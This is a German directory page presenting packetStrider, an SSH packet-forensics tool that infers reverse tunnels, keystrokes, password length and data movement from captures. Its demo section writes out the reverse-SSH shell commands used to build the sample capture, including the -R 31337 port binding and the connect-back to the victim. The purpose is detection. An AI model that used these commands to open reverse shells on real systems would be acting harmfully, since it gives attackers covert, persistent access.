Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
packetStrider — Ein Netzwerkpaket-Forensik-Tool für SSH | Kitploit
Tools/GitHubGitHub/benjeems/packetstrider
Paket-Sniffing & AnalyseNetzwerkforensikForensikPenetrationstestsMaschinelles LernenEinbruchserkennungRed TeamingAnomalieerkennung
GitHubbenjeems/packetstrider

packetStrider

Ein Netzwerkpaket-Forensik-Tool für SSH

Repository anzeigen
254396vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Packet Strider (v0.21)

alt text

Zusammenfassung

packetStrider für SSH ist ein Paketforensik-Tool, das wertvolle Einblicke in die Natur von SSH-Verkehr bieten soll. Es beleuchtet die Ecken des SSH-Netzwerkverkehrs, in denen zuvor goldene Informationsnuggets im Dunkeln lagen.

Das Problem, das Packet Strider lösen will (aka Warum?)

SSH ist selbstverständlich verschlüsselt, dennoch existieren wertvolle kontextuelle Informationen im Netzwerkverkehr, die zu TTPs, Absicht, Erfolg und Ausmaß von Aktionen auf Zielsystemen beitragen können. Es kann sogar Situationen geben, in denen wertvoller Kontext auf Hosts nicht verfügbar oder gelöscht ist, sodass ein unveränderlicher und nicht veränderbarer passiver Netzwerkmitschnitt zusätzlichen forensischen Kontext liefert. „Pakete lügen nicht."

Unabhängig vom forensischen Kontext könnten Packet-Strider-Vorhersagen auch aktiv genutzt werden, z. B. um eingehende Verbindungen zu unterbinden/RST zu senden, wenn eine getunnelte Reverse-SSH-Sitzungseinleitung vorhergesagt wird – bereits bevor die Reverse-Authentifizierung angeboten wird.

Die übergreifenden Techniken von Packet Strider (aka Wie?)

  • Erstellt einen umfangreichen Merkmalssatz in Form von Pandas-DataFrames. Über 40 Merkmale werden aus Paketmetadaten wie SSH-Protokollnachrichteninhalt, normalisierten Statistiken, Richtung, Größe, Latenz und gleitenden Fenster-Merkmalen gewonnen.
  • Durchläuft diesen Merkmalssatz mehrfach mit gleitenden Fenstern (inspiriert von Convolutional Neural Networks), um Folgendes vorherzusagen:
Tool herunterladen
  • Die Verwendung der Option -R in der Weiterleitungssitzung – dies ermöglicht eine Reverse-Verbindung zu einem späteren Zeitpunkt in der Sitzung. Dieses Artefakt wird sehr früh in der Sitzung entdeckt, direkt nachdem die Weiterleitungssitzung authentifiziert wurde. Dies ist das erste verfügbare Warnsignal, dass Reverse-Sitzungen möglich sind.
  • Die Einleitung der Reverse-SSH-Sitzung, die zu jedem Zeitpunkt (früh oder spät) in der Weiterleitungssitzung erfolgen kann. Dies wird erkannt, bevor die Reverse-Sitzung erfolgreich authentifiziert wurde. Dies ist das zweite Warnsignal: Eine Reverse-Sitzung wurde soeben angefordert und zur Authentifizierung eingerichtet.
  • Erfolg und/oder Fehlschlag der Reverse-Sitzungsauthentifizierung. Dies ist das dritte und letzte Warnsignal; ab diesem Punkt weiß man, dass jemand auf dem Host in einer Reverse-Sitzung ist.
  • Die Verwendung der Option -A (SSH-Agent-Weiterleitung), die es dem Client ermöglicht, seine lokalen SSH-Private-Keys mit dem Server zu teilen. Diese Funktionalität wird allgemein als gefährlich angesehen. Referenzen: https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
  • Alle Vorhersagen und Metadatenberichte auf Stream-Basis.
  • Menschlich oder skriptgesteuert, basierend auf Zeitdifferenzen.
  • Ist der Server dem Client bereits bekannt? Oder war es das erste Mal, dass eine Verbindung zwischen beiden hergestellt wurde? Dies wird durch Paketdifferenzen im Zusammenhang mit known_hosts ermittelt.
  • Ob eine Client-Zertifikat- oder Passwort-Authentifizierung verwendet wurde und ob die Passwortlänge 8 Zeichen oder weniger beträgt.
  • Tastenanschläge, Löschtaste, Eingabetaste (Ausschneiden/Einfügen und Pfeiltasten hoch/runter sind YMMV/experimentell).
  • Exfiltrations-/Infiltration-Datenbewegungsvorhersagen in sowohl Weiterleitungs- als auch Reverse-Sitzungen.
  • Funktioniert sowohl bei interaktiven Sitzungen als auch bei dateibasierten SSH-Dateiübertragungsanwendungen (z. B. scp, putty, cyberduck usw.).

Erste Schritte

Python3 wurde verwendet, und Sie benötigen die folgenden Module (YMMV bei Python2):

pip3 install pandas matplotlib pyshark

Verwendung:

python3 packetStrider-ssh.py -h

Ausgabe:

root@kitploit:~
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                             [-w WINDOW] [-s STRIDE]

packetStrider-ssh ist ein Paketforensik-Tool für SSH. Es erstellt einen
umfangreichen Merkmalssatz aus Paketmetadaten wie SSH-Protokollnachrichteninhalt,
Richtung, Größe, Latenz und Sequenzierung. Es führt Mustervergleiche auf
diesen Merkmalen durch, unter Verwendung statistischer Analyse und gleitender
Fenster, um Sitzungseinleitung, Tastenanschläge, menschliches/Skript-Verhalten,
Passwortlänge, Verwendung von Client-Zertifikaten, Kontext zur historischen
Natur des Client/Server-Kontakts und Exfiltrations-/Infiltration-
Datenbewegungscharakteristiken in sowohl Weiterleitungs- als auch Reverse-
Sitzungen vorherzusagen.

optionale Argumente:
  -h, --help            zeigt diese Hilfemeldung an und beendet das Programm
  -f FILE, --file FILE  Zu analysierende PCAP-Datei
  -n NSTREAM, --nstream NSTREAM
                        Nur Analyse auf Stream n durchführen
  -m, --metaonly        Nur Stream-Metadaten anzeigen
  -k, --keystrokes      Tastenanschlag-Vorhersage durchführen
  -p, --predict_plot    Datenbewegung und Tastenanschläge plotten
  -z ZOOM, --zoom ZOOM  Analyse und Plotten auf Pakete "x-y" eingrenzen/zoomen
  -d DIRECTION, --direction DIRECTION
                        Analyse auf SSH-Richtung durchführen: "forward",
                        "reverse" ODER "both"
  -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                        Verzeichnis zum Ausgeben der Plots
  -w WINDOW, --window WINDOW
                        Größe des gleitenden Fensters, # Pakete auf jeder Seite des Fenster-Mittenpakets, Standard ist 2
  -s STRIDE, --stride STRIDE
                        Schrittweite zwischen gleitenden Fenstern, Standard ist 1

Beispiel

Das PCAP "forward_reverse.pcap" stammt von einer gängigen TTP einer Reverse-SSH-Shell, einem Liebling aller Red Teams. Insbesondere wurden die folgenden Befehle verwendet, um die Fähigkeiten von Packet Strider auf einfache Weise hervorzuheben:

  • Weiterleitungsverbindung vom Opfer

    • Der Befehl für die Weiterleitungssitzung war ssh [email protected] -R 31337:localhost:22, der den lokalen Port 31337 für die spätere Reverse-SSH-Verbindung zurück zum Opfer-PC bindet. Diese Verbindung kann auf viele Arten hergestellt werden, einschließlich manuell, durch einen RCE, SSRF oder eine Form von Persistenz. Für die Zwecke dieser Demo handelt es sich um eine manuelle Standard-Weiterleitungssitzung.
    • Dies war NICHT das erste Mal, dass der Client den Server gesehen hat; wir sehen dies, weil das Delta für zusammenhängende Pakete sehr klein war – der Schlüsselfingerabdruck des Servers befand sich bereits im known_hosts des Clients, sodass der Benutzer nicht aufgefordert wurde, ihn hinzuzufügen, was die Latenz der Pakete erhöht hätte.
    • Zwei aufeinanderfolgende fehlgeschlagene Passwort-Anmeldungen durch einen Menschen, gefolgt von einer erfolgreichen Anmeldung mit einem Passwort mit 8+ Zeichen.
    • ls wird in der Weiterleitungssitzung eingegeben, und zwar in dieser Reihenfolge: 'l' 'w' 'w' 'Rücktaste' 'Rücktaste' 's' und dann Eingabe. Die Gesamtgröße der über das Kabel übertragenen Daten (als Ausgabe von ls) wird als Infiltration klassifiziert, da sie eingehend ist.
  • Nun wird auf dem Rechner des Angreifers (dem Server) eine Reverse-Shell zurück zum Opfer initiiert:

    • ssh victim@localhost -p 31337. An diesem Punkt, der sogar vor Beginn des Authentifizierungsprozesses liegt, hat Packet Strider die Einleitung der Reverse-SSH-Sitzung identifiziert, bei Paket 72.
    • Nun hat der Angreifer eine Reverse-Shell auf dem Opfer-Host. Von hier aus kann er die History-Einstellungen ausschalten und beliebige laterale Bewegungen oder Plünderungen durchführen. Die einfachen Beispiele in dieser Demo sind anfängliche Benutzer-Rekon.
    • last wird in Form von Tastenanschlägen ausgeführt: 'l' 'a' 's' 'r' 'delete' 't' 'enter'
    • who wird in Form von 'w' 'h' 'o' 'enter' ausgeführt
    • exit wird in Form von 'e' 'x' 'i' 't' ausgeführt
  • Dann wird schließlich die Weiterleitungssitzung geschlossen, nur um zu demonstrieren, dass die Weiterleitungs-SSH-Funktionserkennung immer noch funktioniert.

    • exit

Der Netzwerkverkehr dieser Aktivität wird in tcpdump.pcap gespeichert, und nun ist es Zeit, Packet Strider auszuführen.

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

alt text

Dieser Plot zeigt eine Zeitleiste der wichtigsten Vorhersagen (das Bild wurde hier annotiert) alt text

Dieser Plot zeigt einige Fensterstatistiken, nützlich für tiefergehende Analysen und Experimente mit Merkmalen.
alt text

Dieser Plot zeigt ein einfaches Histogramm alt text

Inspiration

Dieses Projekt wurde als persönlicher Proof of Concept erstellt, als eine Möglichkeit für mich, mit einigen Data-Science-Bibliotheken in Python zu üben. Es wurde stark inspiriert durch meine Coursera-Studien in Maschinellem Lernen und Data Science, insbesondere der Pandas-Bibliothek und der Art und Weise, wie Convolutional Neural Networks (CNN) mit gleitenden Fenstern durch Bildpixelmengen „schreiten", um bestimmte Merkmale darin zu erkennen.

Tipps

Packet Strider führt im vollständigen Kapazitätsmodus eine enorme Menge an „Striding" durch. Dies kann zu erheblicher Ressourcennutzung führen, wenn das PCAP groß ist oder genauer gesagt viele Pakete enthält. Hier sind einige Tipps zur Beschleunigung, die besonders für einen ersten Durchlauf nützlich sind, z. B. nur um zu sehen, ob eine Reverse-SSH-Aktivität vorhergesagt wurde, und dann nach Bedarf zusätzliche Funktionalität hinzuzufügen.

  • Stellen Sie sicher, dass Sie die neuesten Patches der Module ausführen, die schwere Arbeit leisten, z. B. pyshark/tshark, pandas und matplotlib.
  • Die Option -p --predict_plot ist der rechenintensivste Vorgang. Überlegen Sie, ob Sie zunächst nur mit der Ausgabe auf dem Terminal arbeiten und dann entscheiden, ob Sie diese geplottet haben möchten.
  • Verwenden Sie die Option -m --metaonly. Diese ruft nur die übergeordneten Metadaten wie Protokollnamen und HASSH-Daten ab. Dies kann nützlich sein, um schnell festzustellen, ob Sie es mit einer interaktiven Sitzung mit OpenSSH oder mit einem Dateiübertragungsclient wie Cyberduck zu tun haben.
  • Filtern Sie das PCAP vor auf den SSH-Verkehr.
  • Filtern Sie das PCAP vor auf den gewünschten Stream, den Sie möglicherweise durch vorheriges Ausführen mit der schnellen Option -m --metaonly erfahren haben. Sie können nur Stream „NSTREAM" mit der Option „-n NSTREAM" untersuchen oder mit Wireshark o. ä. vorfiltern.
  • Es kann vorkommen, dass Sie in einer Teilmenge eines sehr großen Paketsatzes etwas Interessantes identifizieren. Hier können Sie die Zoom-Funktion verwenden, um nur die Pakete in dem Bereich zu untersuchen und zu plotten, der Sie interessiert. Verwenden Sie dazu -z ZOOM, --zoom ZOOM, z. B. -z 100-500.
  • Meistens werden Sie daran interessiert sein, Tastenanschlagaktivitäten zu verstehen. Obwohl die Nichtverwendung der Option -k die Verarbeitungsgeschwindigkeit erhöht, bedeutet dies auch, dass Sie diese wertvolle Einsicht nicht erhalten.

TODO

  • Mehr Protokolle!
  • Betrachten von Multithreading und prüfen, wo dies die Verarbeitungsgeschwindigkeit verbessern kann.
  • Effizienz des Skripts verbessern, insbesondere die Plotzeiten.
  • Indikator für Einfügen verbessern.
  • Indikator für Pfeiltasten hoch/runter verbessern.
  • Plots mit ImageMagick oder ähnlichem annotieren.
  • Berichtsfunktion verbessern, auf Festplatte schreiben.
  • Der Reverse-Tastenindikator ist konservativ, da die Paketkapselung potenziell zwei Tastenanschläge melden kann. Dieses Problem besteht bei Weiterleitungstastenanschlägen nicht, da die Paketreihenfolge für den Fall behandelnd wurde, dass sie außer der Reihe eintreffen. Optionen hier prüfen.
  • Für Geschwindigkeit nach Golang portieren.
  • Echtzeit-Modus.
  • Auswirkung zusätzlicher Tunnel lokaler Ports über die Weiterleitungsverbindung untersuchen.

Haftungsausschluss

Nutzung auf eigenes Risiko. Siehe Lizenzbedingungen.